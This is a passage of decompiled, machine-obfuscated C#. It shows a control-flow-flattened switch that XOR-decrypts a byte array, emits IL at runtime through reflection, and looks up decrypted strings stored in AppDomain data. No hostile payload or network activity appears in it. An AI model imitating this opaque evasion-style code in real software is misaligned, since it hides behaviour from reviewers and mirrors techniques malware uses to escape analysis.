bytes[104] = (byte) ((uint) bytes[104] ^ 126U); num1 = 161184557; continue; case 2627697: bytes[41] = (byte) ((uint) bytes[41] ^ 3U); num1 = 161184683; continue; case 2627698: bytes[240] = (byte) ((uint) bytes[240] ^ 87U); num1 = 161182916; continue; case 2627699: bytes[217] = (byte) ((uint) bytes[217] ^ 56U); num1 = 161184618; continue; case 2627700: bytes[38] = (byte) ((uint) bytes[38] ^ 15U); num1 = 161184578; continue; case 2627701: bytes[62] = (byte) ((uint) bytes[62] ^ 121U); num1 = 161182914; continue; case 2627702: bytes[157] = (byte) ((uint) bytes[157] ^ 52U); num1 = 161182855; continue; case 2627703: ilGenerator.MarkLabel(label3); num1 = 161182793; continue; case 2627704: label1 = ilGenerator.DefineLabel(); num1 = 161182872; continue; case 2627705: bytes[231] = (byte) ((uint) bytes[231] ^ 2U); num1 = 161182836; continue; case 2627706: bytes[198] = (byte) ((uint) bytes[198] ^ 13U); num1 = 161182925; continue; case 2627707: bytes[208] = (byte) ((uint) bytes[208] ^ 73U); num1 = 161184580; continue; case 2627708: bytes[142] = (byte) ((uint) bytes[142] ^ 60U); num1 = 161182946; continue; case 2627709: bytes[218] = (byte) ((uint) bytes[218] ^ 51U); num1 = 161184659; continue; case 2627710: ilGenerator.Emit(OpCodes.Callvirt, method5); num1 = 161184634; continue; case 2627711: bytes[236] = (byte) ((uint) bytes[236] ^ 86U); num1 = 161184556; continue; case 2627712: bytes[147] = (byte) ((uint) bytes[147] ^ 5U); num1 = 161184521; continue; case 2627713: method14 = typeof (Hashtable).GetMethod(strArray[12], bindingAttr1, (Binder) null, new Type[2] { typeof (object), typeof (object) }, (ParameterModifier[]) null); num1 = 161182845; continue; case 2627714: bytes[86] = (byte) ((uint) bytes[86] ^ 32U); num1 = 161182878; continue; case 2627715: method15 = typeof (MemberInfo).GetMethod(strArray[5], bindingAttr1, (Binder) null, new Type[0], (ParameterModifier[]) null); num1 = 161182929; continue; case 2627716: bytes[219] = (byte) ((uint) bytes[219] ^ 24U); num1 = 161182908; continue; case 2627717: bytes[14] = (byte) ((uint) bytes[14] ^ 118U); num1 = 161184584; continue; case 2627718: method13 = type1.GetMethod(strArray[8], bindingAttr1, (Binder) null, new Type[0], (ParameterModifier[]) null); num1 = 161182879; continue; case 2627719: bytes[242] = (byte) ((uint) bytes[242] ^ 112U); num1 = 161184558; continue; case 2627720: bytes[137] = (byte) ((uint) bytes[137] ^ 29U); num1 = 161184722; continue; case 2627721: ilGenerator.Emit(OpCodes.Ldtoken, typeof (\uE008)); num1 = 161184727; continue; case 2627722: ilGenerator.Emit(OpCodes.Ldloc_0); num1 = 161184628; continue; case 2627723: bytes[123] = (byte) ((uint) bytes[123] ^ 72U); num1 = 161184635; continue; case 2627724: ilGenerator.Emit(OpCodes.Stloc_1); num1 = 161184697; continue; case 2627725: bytes[144] = (byte) ((uint) bytes[144] ^ 37U); num1 = 161184582; continue; case 2627726: bytes[22] = (byte) ((uint) bytes[22] ^ 43U); num1 = 161184575; continue; case 2627727: ilGenerator.Emit(OpCodes.Call, method7); num1 = 161184608; continue; case 2627728: bytes[170] = (byte) ((uint) bytes[170] ^ 106U); num1 = 161182818; continue; case 2627729: bytes[207] = (byte) ((uint) bytes[207] ^ 7U); num1 = 161184620; continue; case 2627730: type1 = Type.GetType(strArray[16]); num1 = 161182838; continue; case 2627731: bytes[173] = (byte) ((uint) bytes[173] ^ 40U); num1 = 161184555; continue; case 2627732: bytes[222] = (byte) ((uint) bytes[222] ^ 17U); num1 = 161184537; continue; case 2627733: ilGenerator.Emit(OpCodes.Beq_S, label4); num1 = 161184648; continue; case 2627734: bytes[192] = (byte) ((uint) bytes[192] ^ 97U); num1 = 161182854; continue; case 2627735: bytes[91] = (byte) ((uint) bytes[91] ^ 47U); num1 = 161184726; continue; case 2627736: bytes[247] = (byte) ((uint) bytes[247] ^ 23U); num1 = 161182825; continue; case 2627737: ilGenerator.Emit(OpCodes.Callvirt, method15); num1 = 161184600; continue; case 2627738: bytes[184] = (byte) ((uint) bytes[184] ^ 37U); num1 = 161182938; continue; case 2627739: bytes[172] = (byte) ((uint) bytes[172] ^ 50U); num1 = 161184644; continue; case 2627740: label6 = ilGenerator.DefineLabel(); num1 = 161182964; continue; case 2627741: bytes[115] = (byte) ((uint) bytes[115] ^ 63U); num1 = 161184681; continue; case 2627742: ilGenerator.Emit(OpCodes.Call, method1); num1 = 161182970; continue; case 2627743: ilGenerator.Emit(OpCodes.Ldc_I4_0); num1 = 161184664; continue; case 2627744: ilGenerator.DeclareLocal(typeof (Hashtable)); num1 = 161184651; continue; case 2627745: bytes[25] = (byte) ((uint) bytes[25] ^ 55U); num1 = 161184585; continue; case 2627746: bytes[201] = (byte) ((uint) bytes[201] ^ 108U); num1 = 161184687; continue; case 2627747: ilGenerator.Emit(OpCodes.Ldloc_1); num1 = 161184691; continue; case 2627748: ilGenerator.Emit(OpCodes.Callvirt, method3); num1 = 161182926; continue; case 2627749: bytes[204] = (byte) ((uint) bytes[204] ^ 18U); num1 = 161184684; continue; case 2627750: bytes[117] = (byte) ((uint) bytes[117] ^ 86U); num1 = 161182824; continue; case 2627751: bytes[141] = (byte) ((uint) bytes[141] ^ 119U); num1 = 161184619; continue; case 2627752: bytes[37] = (byte) ((uint) bytes[37] ^ 46U); num1 = 161184611; continue; case 2627753: ilGenerator.Emit(OpCodes.Callvirt, method2); num1 = 161184674; continue; case 2627754: ilGenerator.Emit(OpCodes.Stloc_S, 5); num1 = 161182889; continue; case 2627755: bytes[196] = (byte) ((uint) bytes[196] ^ 70U); num1 = 161182920; continue; case 2627756: bytes[179] = (byte) ((uint) bytes[179] ^ 111U); num1 = 161182883; continue; case 2627757: bytes[246] = (byte) ((uint) bytes[246] ^ 13U); num1 = 161184655; continue; case 2627758: ilGenerator.MarkLabel(label6); num1 = 161184605; continue; case 2627759: bytes[89] = (byte) ((uint) bytes[89] ^ 63U); num1 = 161184549; continue; case 2627760: bytes[11] = (byte) ((uint) bytes[11] ^ 71U); num1 = 161184561; continue; case 2627761: bytes[112] = (byte) ((uint) bytes[112] ^ 8U); num1 = 161184523; continue; case 2627762: type2 = Type.GetType(strArray[17]); num1 = 161182893; continue; case 2627763: ilGenerator.Emit(OpCodes.Br_S, label6); num1 = 161184672; continue; case 2627764: bytes[71] = (byte) ((uint) bytes[71] ^ 119U); num1 = 161182913; continue; case 2627765: ilGenerator.Emit(OpCodes.Callvirt, method14); num1 = 161182863; continue; case 2627766: bytes[103] = (byte) ((uint) bytes[103] ^ 110U); num1 = 161184615; continue; case 2627767: ilGenerator.MarkLabel(label5); num1 = 161184626; continue; case 2627768: bytes[202] = (byte) ((uint) bytes[202] ^ 80U); num1 = 161184711; continue; case 2627769: bytes[2] = (byte) ((uint) bytes[2] ^ 122U); num1 = 161182911; continue; case 2627770: bytes[76] = (byte) ((uint) bytes[76] ^ 70U); num1 = 161184607; continue; case 2627771: bytes[205] = (byte) ((uint) bytes[205] ^ 68U); num1 = 161184590; continue; case 2627772: bytes[42] = (byte) ((uint) bytes[42] ^ 117U); num1 = 161184632; continue; case 2627773: ilGenerator.Emit(OpCodes.Callvirt, method9); num1 = 161184570; continue; case 2627774: bytes[116] = (byte) ((uint) bytes[116] ^ 10U); num1 = 161184689; continue; case 2627775: methodBuilder.DefineParameter(2, ParameterAttributes.None, "b"); num1 = 161182903; continue; case 2627776: ilGenerator.Emit(OpCodes.Call, method6); num1 = 161184654; continue; case 2627777: bytes[92] = (byte) ((uint) bytes[92] ^ 73U); num1 = 161182888; continue; case 2627778: ilGenerator.Emit(OpCodes.Ldarg_0); num1 = 161182974; continue; case 2627779: bytes[164] = (byte) ((uint) bytes[164] ^ 111U); num1 = 161184515; continue; case 2627780: bytes[191] = (byte) ((uint) bytes[191] ^ 31U); num1 = 161184641; continue; case 2627781: bytes[138] = (byte) ((uint) bytes[138] ^ 35U); num1 = 161182840; continue; case 2627782: bytes[253] = (byte) ((uint) bytes[253] ^ 116U); num1 = 161182902; continue; case 2627783: bytes[128] = (byte) ((uint) bytes[128] ^ 117U); num1 = 161182858; continue; case 2627784: bytes[150] = (byte) ((uint) bytes[150] ^ 49U); num1 = 161184597; continue; case 2627785: bytes[177] = (byte) ((uint) bytes[177] ^ 95U); num1 = 161184524; continue; case 2627786: bytes[183] = (byte) ((uint) bytes[183] ^ 119U); num1 = 161184653; continue; case 2627787: bytes[156] = (byte) ((uint) bytes[156] ^ 38U); num1 = 161184609; continue; case 2627788: ilGenerator.Emit(OpCodes.Ldloc_S, 4); num1 = 161184560; continue; case 2627789: bytes[154] = (byte) ((uint) bytes[154] ^ 37U); num1 = 161182965; continue; case 2627790: method12 = typeof (AppDomain).GetMethod(strArray[14], bindingAttr1, (Binder) null, new Type[2] { typeof (string), typeof (object) }, (ParameterModifier[]) null); num1 = 161184599; continue; case 2627791: bytes[162] = (byte) ((uint) bytes[162] ^ 49U); num1 = 161182937; continue; case 2627792: bytes[203] = (byte) ((uint) bytes[203] ^ 71U); num1 = 161184690; continue; case 2627793: goto label_389; default: goto label_15; } } label_389: return methodBuilder; default: label_14: num3 = 1138193139; num4 = -1025290772; goto label_4; } label_3: num3 ^= 1137172511; switch (num3) { case 1086188: goto label_15; case 1086189: goto label_2; default: goto label_13; } label_4: num4 ^= 1030982212; switch (num4 + 7288921) { case 0: goto label_14; case 1: goto label_3; default: goto label_12; } label_5: int num5; num5 ^= 925277017; switch (num5) { case 2417062: goto label_13; case 2417063: goto label_4; default: goto label_11; } label_6: int num6; num6 ^= 392171661; switch (num6 + 5930250) { case 0: goto label_12; case 1: goto label_5; default: goto label_10; } label_7: int num7; num7 ^= 1483683101; switch (num7) { case 4068085: goto label_11; case 4068086: goto label_6; default: goto label_9; } label_8: int num8; switch ((num8 ^ 1451832551) + 8094700) { case 0: goto label_10; case 1: goto label_7; } label_9: num8 = -1458747149; goto label_8; label_10: num7 = 1481713640; num8 = -1458747150; goto label_8; label_11: num6 = -389705093; num7 = 1481713643; goto label_7; label_12: num5 = 922909439; num6 = -389705094; goto label_6; label_13: num4 = -1025290781; num5 = 922909438; goto label_5; label_15: num2 = -1131945112; num3 = 1138193138; goto label_3; } public string \uE001(int _param1) => (string) ((Hashtable) AppDomain.CurrentDomain.GetData(\uE008.\uE000))[(object) _param1]; } }